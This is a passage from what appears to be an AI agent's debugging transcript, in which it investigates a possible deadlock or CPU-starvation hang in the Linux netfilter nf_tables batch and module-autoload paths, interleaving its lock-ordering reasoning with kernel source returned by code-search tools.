370: list_del(&hook->list);
371: nft_netdev_hook_free_rcu(hook);
372: }
373: }
374: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 223/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 49068
output: 43
thoughts: 415
Thoughts: **Analyzing a Potential Deadlock in Netfilter Tables**
Okay, so I'm trying to figure out if there's a potential deadlock here, specifically around `rtnl_lock()`. My initial thought was that there was a lock acquisition in `nf_tables_commit`, but it doesn't seem like that's the case. I need to dig deeper. Wait, `nf_tables_commit` calls `nf_tables_commit_chain_prepare`, but neither of those seems to acquire the lock directly. What about `nf_tables_commit_chain`? Still nothing.
I'm thinking about the scenario where `request_module` is called, and `modprobe` then attempts to load a module that *does* take the `rtnl_lock()` during its `init` function. But what if `modprobe` is blocked on something else? Hang on... I think I'm on to something, because `crda_timeout_work` is blocked on `rtnl_lock()`. This means that someone *else* is already holding the lock! This is the key. Who is it?
Let's look at the reproducer again. It's doing `mmap`, `socket`, and `sendmsg`. Is there any other thread? Nope, it's single-threaded, which simplifies things. If the reproducer is the one holding `rtnl_lock()`, it has to be somewhere in `sendmsg`. Does `nfnetlink_rcv_batch` take the `rtnl_lock`? I should check `nfnetlink_rcv_batch` again.
Okay, let's see. It calls `nfnl_lock(subsys_id)`, and then it calls `nc->call(skb, &info, (const struct nlattr **)cda)`. For the `NFT_MSG_NEWRULE` message type, `nc->call` is actually `nf_tables_newrule`. Does `nf_tables_newrule` take `rtnl_lock()`? No.
Wait, back to the `request_module` possibility... What if the module being loaded is `nft_synproxy`? Then `nft_synproxy_init` is the module init function. Let me check `nft_synproxy_init`. That's where I need to focus next.
|
| 224/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_module_init]
Results: map[SourceCode: 365: static int __init nft_synproxy_module_init(void)
366: {
367: int err;
368:
369: err = nft_register_obj(&nft_synproxy_obj_type);
370: if (err < 0)
371: return err;
372:
373: err = nft_register_expr(&nft_synproxy_type);
374: if (err < 0)
375: goto err;
376:
377: return 0;
378:
379: err:
380: nft_unregister_obj(&nft_synproxy_obj_type);
381: return err;
382: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 225/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 50284
output: 43
thoughts: 805
Thoughts: **Debugging a Potential CPU Starvation Issue**
Okay, so I'm looking at this trace, and my initial thought is that we don't have an `rtnl_lock()` in play here, which is interesting. Could the infinite loop in `nfnetlink_rcv_batch` be the culprit, just starving the CPU? If the CPU is truly starved, and `crda_timeout_work` is scheduled on the *same* CPU, it might never actually run. But, wait, the trace shows `crda_timeout_work` is blocked on `rtnl_lock()`.
The call trace is crucial: it shows `crda_timeout_work` sleeping on `rtnl_mutex`. That tells me someone *else* must be holding `rtnl_mutex`. The question is *who*? My first guess is `modprobe`. If there's an infinite loop calling `request_module`, it'd fork a ton of `modprobe` processes. If one of those tries to load a module that *needs* `rtnl_lock()` (like a network driver, perhaps), it could get stuck there.
Hold on, by default `request_module` is called with `wait=true`. Meaning `nfnetlink_rcv_batch` is blocked waiting for `modprobe` to finish! If `modprobe` is running, it *could* be the one holding `rtnl_lock()`. But, the log shows that `modprobe` is just loading `nft-expr-synproxy`. Why would *that* need `rtnl_lock()`? Maybe it loads another module? Maybe the call to `request_module` is for a module that doesn't exist, and `modprobe` exits quickly?
If `modprobe` exits quickly, `request_module` returns, and then `nfnetlink_rcv_batch` loops again. If it loops infinitely, it pegs the CPU at 100%. If that happens, it could starve other tasks. But why is `rtnl_lock()` held in the first place?
Could the syzkaller executor be running other background tasks that hold `rtnl_lock()` and are getting starved by this infinite loop? It's possible! If that infinite loop is running with preemption disabled... but no, `nfnetlink_rcv_batch` *doesn't* disable preemption. It only holds `nfnl_mutex`.
Wait a minute... `nfnl_lock(subsys_id)` *is* held during batch processing, but it's *released* before `request_module`!
Now I need to go look into `nf_tables_module_autoload`...
|
| 226/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload]
Results: map[SourceCode:11173: static void nf_tables_module_autoload(struct net *net)
11174: {
11175: struct nftables_pernet *nft_net = nft_pernet(net);
11176: struct nft_module_request *req, *next;
11177: LIST_HEAD(module_list);
11178:
11179: list_splice_init(&nft_net->module_list, &module_list);
11180: mutex_unlock(&nft_net->commit_mutex);
11181: list_for_each_entry_safe(req, next, &module_list, list) {
11182: request_module("%s", req->module);
11183: req->done = true;
11184: }
11185: mutex_lock(&nft_net->commit_mutex);
11186: list_splice(&module_list, &nft_net->module_list);
11187: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 227/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 52022
output: 42
thoughts: 78
Thoughts: Okay, here's my understanding, playing the role of the thinking process described:
**Analyzing the Mutex Sequencing**
Right, let's break this down. We have a specific sequence here: it starts by releasing the `commit_mutex`, calls `request_module`, then immediately re-acquires the `commit_mutex`. That seems straightforward enough, but my attention is immediately drawn to the broader context... what's happening with `nfnl_mutex` in all of this? The interaction with Netfilter always requires careful attention to locking.
Ah, I remember... `nfnetlink_rcv_batch` *does* hold `nfnl_mutex`, doesn't it? Okay, but thinking through the control flow, I remember the implementation details. *Before* processing the batch, `nfnetlink_rcv_batch` *releases* the `nfnl_mutex`. That's the crucial point. It doesn't hold it throughout. So the sequence must be carefully designed to avoid a deadlock by interleaving the release and acquisition of the mutexes. Good. I'll make sure to double check that I didn't miss something.
|
| 228/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnetlink_rcv_batch]
Results: map[SourceCode: 371: static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
372: u16 subsys_id, u32 genid)
373: {
374: struct sk_buff *oskb = skb;
375: struct net *net = sock_net(skb->sk);
376: const struct nfnetlink_subsystem *ss;
377: const struct nfnl_callback *nc;
378: struct netlink_ext_ack extack;
379: LIST_HEAD(err_list);
380: u32 status;
381: int err;
382:
383: if (subsys_id >= NFNL_SUBSYS_COUNT)
384: return netlink_ack(skb, nlh, -EINVAL, NULL);
385: replay:
386: status = 0;
387: replay_abort:
388: skb = netlink_skb_clone(oskb, GFP_KERNEL);
389: if (!skb)
390: return netlink_ack(oskb, nlh, -ENOMEM, NULL);
391:
392: nfnl_lock(subsys_id);
393: ss = nfnl_dereference_protected(subsys_id);
394: if (!ss) {
395: #ifdef CONFIG_MODULES
396: nfnl_unlock(subsys_id);
397: request_module("nfnetlink-subsys-%d", subsys_id);
398: nfnl_lock(subsys_id);
399: ss = nfnl_dereference_protected(subsys_id);
400: if (!ss)
401: #endif
402: {
403: nfnl_unlock(subsys_id);
404: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
405: return consume_skb(skb);
406: }
407: }
408:
409: if (!ss->valid_genid || !ss->commit || !ss->abort) {
410: nfnl_unlock(subsys_id);
411: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
412: return consume_skb(skb);
413: }
414:
415: if (!try_module_get(ss->owner)) {
416: nfnl_unlock(subsys_id);
417: netlink_ack(oskb, nlh, -EOPNOTSUPP, NULL);
418: return consume_skb(skb);
419: }
420:
421: if (!ss->valid_genid(net, genid)) {
422: module_put(ss->owner);
423: nfnl_unlock(subsys_id);
424: netlink_ack(oskb, nlh, -ERESTART, NULL);
425: return consume_skb(skb);
426: }
427:
428: nfnl_unlock(subsys_id);
429:
430: if (nlh->nlmsg_flags & NLM_F_ACK) {
431: memset(&extack, 0, sizeof(extack));
432: nfnl_err_add(&err_list, nlh, 0, &extack);
433: }
434:
435: while (skb->len >= nlmsg_total_size(0)) {
436: int msglen, type;
437:
438: if (fatal_signal_pending(current)) {
439: nfnl_err_reset(&err_list);
440: err = -EINTR;
441: status = NFNL_BATCH_FAILURE;
442: goto done;
443: }
444:
445: memset(&extack, 0, sizeof(extack));
446: nlh = nlmsg_hdr(skb);
447: err = 0;
448:
449: if (nlh->nlmsg_len < NLMSG_HDRLEN ||
450: skb->len < nlh->nlmsg_len ||
451: nlmsg_len(nlh) < sizeof(struct nfgenmsg)) {
452: nfnl_err_reset(&err_list);
453: status |= NFNL_BATCH_FAILURE;
454: goto done;
455: }
456:
457: /* Only requests are handled by the kernel */
458: if (!(nlh->nlmsg_flags & NLM_F_REQUEST)) {
459: err = -EINVAL;
460: goto ack;
461: }
462:
463: type = nlh->nlmsg_type;
464: if (type == NFNL_MSG_BATCH_BEGIN) {
465: /* Malformed: Batch begin twice */
466: nfnl_err_reset(&err_list);
467: status |= NFNL_BATCH_FAILURE;
468: goto done;
469: } else if (type == NFNL_MSG_BATCH_END) {
470: status |= NFNL_BATCH_DONE;
471: goto done;
472: } else if (type < NLMSG_MIN_TYPE) {
473: err = -EINVAL;
474: goto ack;
475: }
476:
477: /* We only accept a batch with messages for the same
478: * subsystem.
479: */
480: if (NFNL_SUBSYS_ID(type) != subsys_id) {
481: err = -EINVAL;
482: goto ack;
483: }
484:
485: nc = nfnetlink_find_client(type, ss);
486: if (!nc) {
487: err = -EINVAL;
488: goto ack;
489: }
490:
491: if (nc->type != NFNL_CB_BATCH) {
492: err = -EINVAL;
493: goto ack;
494: }
495:
496: {
497: int min_len = nlmsg_total_size(sizeof(struct nfgenmsg));
498: struct nfnl_net *nfnlnet = nfnl_pernet(net);
499: struct nlattr *cda[NFNL_MAX_ATTR_COUNT + 1];
500: struct nlattr *attr = (void *)nlh + min_len;
501: u8 cb_id = NFNL_MSG_TYPE(nlh->nlmsg_type);
502: int attrlen = nlh->nlmsg_len - min_len;
503: struct nfnl_info info = {
504: .net = net,
505: .sk = nfnlnet->nfnl,
506: .nlh = nlh,
507: .nfmsg = nlmsg_data(nlh),
508: .extack = &extack,
509: };
510:
511: /* Sanity-check NFTA_MAX_ATTR */
512: if (ss->cb[cb_id].attr_count > NFNL_MAX_ATTR_COUNT) {
513: err = -ENOMEM;
514: goto ack;
515: }
516:
517: err = nla_parse_deprecated(cda,
518: ss->cb[cb_id].attr_count,
519: attr, attrlen,
520: ss->cb[cb_id].policy, &extack);
521: if (err < 0)
522: goto ack;
523:
524: err = nc->call(skb, &info, (const struct nlattr **)cda);
525:
526: /* The lock was released to autoload some module, we
527: * have to abort and start from scratch using the
528: * original skb.
529: */
530: if (err == -EAGAIN) {
531: status |= NFNL_BATCH_REPLAY;
532: goto done;
533: }
534: }
535: ack:
536: if (nlh->nlmsg_flags & NLM_F_ACK || err) {
537: /* Errors are delivered once the full batch has been
538: * processed, this avoids that the same error is
539: * reported several times when replaying the batch.
540: */
541: if (err == -ENOMEM ||
542: nfnl_err_add(&err_list, nlh, err, &extack) < 0) {
543: /* We failed to enqueue an error, reset the
544: * list of errors and send OOM to userspace
545: * pointing to the batch header.
546: */
547: nfnl_err_reset(&err_list);
548: netlink_ack(oskb, nlmsg_hdr(oskb), -ENOMEM,
549: NULL);
550: status |= NFNL_BATCH_FAILURE;
551: goto done;
552: }
553: /* We don't stop processing the batch on errors, thus,
554: * userspace gets all the errors that the batch
555: * triggers.
556: */
557: if (err)
558: status |= NFNL_BATCH_FAILURE;
559: }
560:
561: msglen = NLMSG_ALIGN(nlh->nlmsg_len);
562: if (msglen > skb->len)
563: msglen = skb->len;
564: skb_pull(skb, msglen);
565: }
566: done:
567: if (status & NFNL_BATCH_REPLAY) {
568: ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
569: nfnl_err_reset(&err_list);
570: consume_skb(skb);
571: module_put(ss->owner);
572: goto replay;
573: } else if (status == NFNL_BATCH_DONE) {
574: err = ss->commit(net, oskb);
575: if (err == -EAGAIN) {
576: status |= NFNL_BATCH_REPLAY;
577: goto done;
578: } else if (err) {
579: ss->abort(net, oskb, NFNL_ABORT_NONE);
580: netlink_ack(oskb, nlmsg_hdr(oskb), err, NULL);
581: } else if (nlh->nlmsg_flags & NLM_F_ACK) {
582: memset(&extack, 0, sizeof(extack));
583: nfnl_err_add(&err_list, nlh, 0, &extack);
584: }
585: } else {
586: enum nfnl_abort_action abort_action;
587:
588: if (status & NFNL_BATCH_FAILURE)
589: abort_action = NFNL_ABORT_NONE;
590: else
591: abort_action = NFNL_ABORT_VALIDATE;
592:
593: err = ss->abort(net, oskb, abort_action);
594: if (err == -EAGAIN) {
595: nfnl_err_reset(&err_list);
596: consume_skb(skb);
597: module_put(ss->owner);
598: status |= NFNL_BATCH_FAILURE;
599: goto replay_abort;
600: }
601: }
602:
603: nfnl_err_deliver(&err_list, oskb);
604: consume_skb(skb);
605: module_put(ss->owner);
606: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 229/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 56062
output: 42
thoughts: 332
Thoughts: **Analyzing the Netfilter Tables Abort Flow**
Okay, so I'm tracing this `ss->abort` call, which I see is `nf_tables_abort`. Right, `nf_tables_abort` calls `__nf_tables_abort`. Then, if the action demands autoloading, `__nf_tables_abort` calls `nf_tables_module_autoload`, and that's going to call `request_module`, which is important to remember. Now, crucially, I see that `nf_tables_abort` unlocks the `commit_mutex`. Hmm, but what about the `nfnl_mutex`? Where does that come into play?
Ah, I see it! The `nfnl_mutex` is unlocked at line 428, `nfnl_unlock(subsys_id);`. Okay, that's before the batch processing. So, `nfnetlink_rcv_batch` *doesn't* hold the `nfnl_mutex` during the actual batch processing itself. Let me just confirm that. Yes, `nfnl_lock(subsys_id)` is called at line 392, and then the unlock happens at line 428. Thus, batch processing happens without holding the `nfnl_mutex` lock.
Now, I was wondering, does `nf_tables_newrule` take the `commit_mutex`? Let me see...No, it doesn't. Or does it? Let's double-check `nf_tables_newrule` to be completely sure.
|
| 230/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newrule]
Results: map[SourceCode:4195: static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
4196: const struct nlattr * const nla[])
4197: {
4198: struct nftables_pernet *nft_net = nft_pernet(info->net);
4199: struct netlink_ext_ack *extack = info->extack;
4200: unsigned int size, i, n, ulen = 0, usize = 0;
4201: u8 genmask = nft_genmask_next(info->net);
4202: struct nft_rule *rule, *old_rule = NULL;
4203: struct nft_expr_info *expr_info = NULL;
4204: u8 family = info->nfmsg->nfgen_family;
4205: struct nft_flow_rule *flow = NULL;
4206: struct net *net = info->net;
4207: struct nft_userdata *udata;
4208: struct nft_table *table;
4209: struct nft_chain *chain;
4210: struct nft_trans *trans;
4211: u64 handle, pos_handle;
4212: struct nft_expr *expr;
4213: struct nft_ctx ctx;
4214: struct nlattr *tmp;
4215: int err, rem;
4216:
4217: lockdep_assert_held(&nft_net->commit_mutex);
4218:
4219: table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
4220: NETLINK_CB(skb).portid);
4221: if (IS_ERR(table)) {
4222: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
4223: return PTR_ERR(table);
4224: }
4225:
4226: if (nla[NFTA_RULE_CHAIN]) {
4227: chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
4228: genmask);
4229: if (IS_ERR(chain)) {
4230: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
4231: return PTR_ERR(chain);
4232: }
4233:
4234: } else if (nla[NFTA_RULE_CHAIN_ID]) {
4235: chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID],
4236: genmask);
4237: if (IS_ERR(chain)) {
4238: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
4239: return PTR_ERR(chain);
4240: }
4241: } else {
4242: return -EINVAL;
4243: }
4244:
4245: if (nft_chain_is_bound(chain))
4246: return -EOPNOTSUPP;
4247:
4248: if (nla[NFTA_RULE_HANDLE]) {
4249: handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_HANDLE]));
4250: rule = __nft_rule_lookup(net, chain, handle);
4251: if (IS_ERR(rule)) {
4252: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4253: return PTR_ERR(rule);
4254: }
4255:
4256: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
4257: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4258: return -EEXIST;
4259: }
4260: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
4261: old_rule = rule;
4262: else
4263: return -EOPNOTSUPP;
4264: } else {
4265: if (!(info->nlh->nlmsg_flags & NLM_F_CREATE) ||
4266: info->nlh->nlmsg_flags & NLM_F_REPLACE)
4267: return -EINVAL;
4268: handle = nf_tables_alloc_handle(table);
4269:
4270: if (nla[NFTA_RULE_POSITION]) {
4271: pos_handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_POSITION]));
4272: old_rule = __nft_rule_lookup(net, chain, pos_handle);
4273: if (IS_ERR(old_rule)) {
4274: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION]);
4275: return PTR_ERR(old_rule);
4276: }
4277: } else if (nla[NFTA_RULE_POSITION_ID]) {
4278: old_rule = nft_rule_lookup_byid(net, chain, nla[NFTA_RULE_POSITION_ID]);
4279: if (IS_ERR(old_rule)) {
4280: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION_ID]);
4281: return PTR_ERR(old_rule);
4282: }
4283: }
4284: }
4285:
4286: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
4287:
4288: n = 0;
4289: size = 0;
4290: if (nla[NFTA_RULE_EXPRESSIONS]) {
4291: expr_info = kvmalloc_array(NFT_RULE_MAXEXPRS,
4292: sizeof(struct nft_expr_info),
4293: GFP_KERNEL);
4294: if (!expr_info)
4295: return -ENOMEM;
4296:
4297: nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) {
4298: err = -EINVAL;
4299: if (nla_type(tmp) != NFTA_LIST_ELEM)
4300: goto err_release_expr;
4301: if (n == NFT_RULE_MAXEXPRS)
4302: goto err_release_expr;
4303: err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]);
4304: if (err < 0) {
4305: NL_SET_BAD_ATTR(extack, tmp);
4306: goto err_release_expr;
4307: }
4308: size += expr_info[n].ops->size;
4309: n++;
4310: }
4311: }
4312: /* Check for overflow of dlen field */
4313: err = -EFBIG;
4314: if (size >= 1 << 12)
4315: goto err_release_expr;
4316:
4317: if (nla[NFTA_RULE_USERDATA]) {
4318: ulen = nla_len(nla[NFTA_RULE_USERDATA]);
4319: if (ulen > 0)
4320: usize = sizeof(struct nft_userdata) + ulen;
4321: }
4322:
4323: err = -ENOMEM;
4324: rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
4325: if (rule == NULL)
4326: goto err_release_expr;
4327:
4328: nft_activate_next(net, rule);
4329:
4330: rule->handle = handle;
4331: rule->dlen = size;
4332: rule->udata = ulen ? 1 : 0;
4333:
4334: if (ulen) {
4335: udata = nft_userdata(rule);
4336: udata->len = ulen - 1;
4337: nla_memcpy(udata->data, nla[NFTA_RULE_USERDATA], ulen);
4338: }
4339:
4340: expr = nft_expr_first(rule);
4341: for (i = 0; i < n; i++) {
4342: err = nf_tables_newexpr(&ctx, &expr_info[i], expr);
4343: if (err < 0) {
4344: NL_SET_BAD_ATTR(extack, expr_info[i].attr);
4345: goto err_release_rule;
4346: }
4347:
4348: if (expr_info[i].ops->validate)
4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
4350:
4351: expr_info[i].ops = NULL;
4352: expr = nft_expr_next(expr);
4353: }
4354:
4355: if (chain->flags & NFT_CHAIN_HW_OFFLOAD) {
4356: flow = nft_flow_rule_create(net, rule);
4357: if (IS_ERR(flow)) {
4358: err = PTR_ERR(flow);
4359: goto err_release_rule;
4360: }
4361: }
4362:
4363: if (!nft_use_inc(&chain->use)) {
4364: err = -EMFILE;
4365: goto err_release_rule;
4366: }
4367:
4368: if (info->nlh->nlmsg_flags & NLM_F_REPLACE) {
4369: if (nft_chain_binding(chain)) {
4370: err = -EOPNOTSUPP;
4371: goto err_destroy_flow_rule;
4372: }
4373:
4374: err = nft_delrule(&ctx, old_rule);
4375: if (err < 0)
4376: goto err_destroy_flow_rule;
4377:
4378: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4379: if (trans == NULL) {
4380: err = -ENOMEM;
4381: goto err_destroy_flow_rule;
4382: }
4383: list_add_tail_rcu(&rule->list, &old_rule->list);
4384: } else {
4385: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4386: if (!trans) {
4387: err = -ENOMEM;
4388: goto err_destroy_flow_rule;
4389: }
4390:
4391: if (info->nlh->nlmsg_flags & NLM_F_APPEND) {
4392: if (old_rule)
4393: list_add_rcu(&rule->list, &old_rule->list);
4394: else
4395: list_add_tail_rcu(&rule->list, &chain->rules);
4396: } else {
4397: if (old_rule)
4398: list_add_tail_rcu(&rule->list, &old_rule->list);
4399: else
4400: list_add_rcu(&rule->list, &chain->rules);
4401: }
4402: }
4403: kvfree(expr_info);
4404:
4405: if (flow)
4406: nft_trans_flow_rule(trans) = flow;
4407:
4408: if (table->validate_state == NFT_VALIDATE_DO)
4409: return nft_table_validate(net, table);
4410:
4411: return 0;
4412:
4413: err_destroy_flow_rule:
4414: nft_use_dec_restore(&chain->use);
4415: if (flow)
4416: nft_flow_rule_destroy(flow);
4417: err_release_rule:
4418: nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);
4419: nf_tables_rule_destroy(&ctx, rule);
4420: err_release_expr:
4421: for (i = 0; i < n; i++) {
4422: if (expr_info[i].ops) {
4423: module_put(expr_info[i].ops->type->owner);
4424: if (expr_info[i].ops->type->release_ops)
4425: expr_info[i].ops->type->release_ops(expr_info[i].ops);
4426: }
4427: }
4428: kvfree(expr_info);
4429:
4430: return err;
4431: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 231/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 60613
output: 41
thoughts: 233
Thoughts: **Debugging the Netfilter Commit Mutex**
Okay, so I'm looking at this `lockdep_assert_held(&nft_net->commit_mutex)` call within `nf_tables_newrule`. Right away, I see that the `commit_mutex` is supposed to be held when this function is called. That immediately tells me I need to trace back *where* this mutex is acquired. So, my initial thought is that `nf_tables_newrule` must be called with the `commit_mutex` held.
Let's quickly confirm that by checking the call stack. The code tells me that `nf_tables_newrule` is part of `nf_tables_api`.
Alright, where does this come from? I'm going to follow the call path back, let's start with `nf_tables_newrule`.
Hmm, `nf_tables_newrule` is called via `nc->call`. Ah, `nc->call` *is* `nf_tables_newrule`. I'll keep tracing this to see where the call actually originates. My instinct tells me to look at `nfnetlink_rcv_batch`, since that seems like the most likely entry point.
Wait a minute... It looks like `nfnetlink_rcv_batch` *doesn't* directly hold `commit_mutex`. That's unexpected. So, who *does* take it? I need to figure out the thread that actually acquires that lock *before* calling `nf_tables_newrule`. I'll go back and examine `nfnetlink_rcv_batch` again to see what it *does* take.
Okay, I see that it uses `nfnl_lock(subsys_id)`, which takes the `nfnl_mutex`. So, the `nfnetlink_rcv_batch` takes `nfnl_mutex`. But that's not `commit_mutex`! Okay, so I need to go back up and understand how the lock is acquired. Where does `commit_mutex` enter the picture? I'm going to jump into `nf_tables_api.c` and search for usages of `commit_mutex`, because it's now clear that it's *not* being acquired in the direct path I initially expected.
|
| 232/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
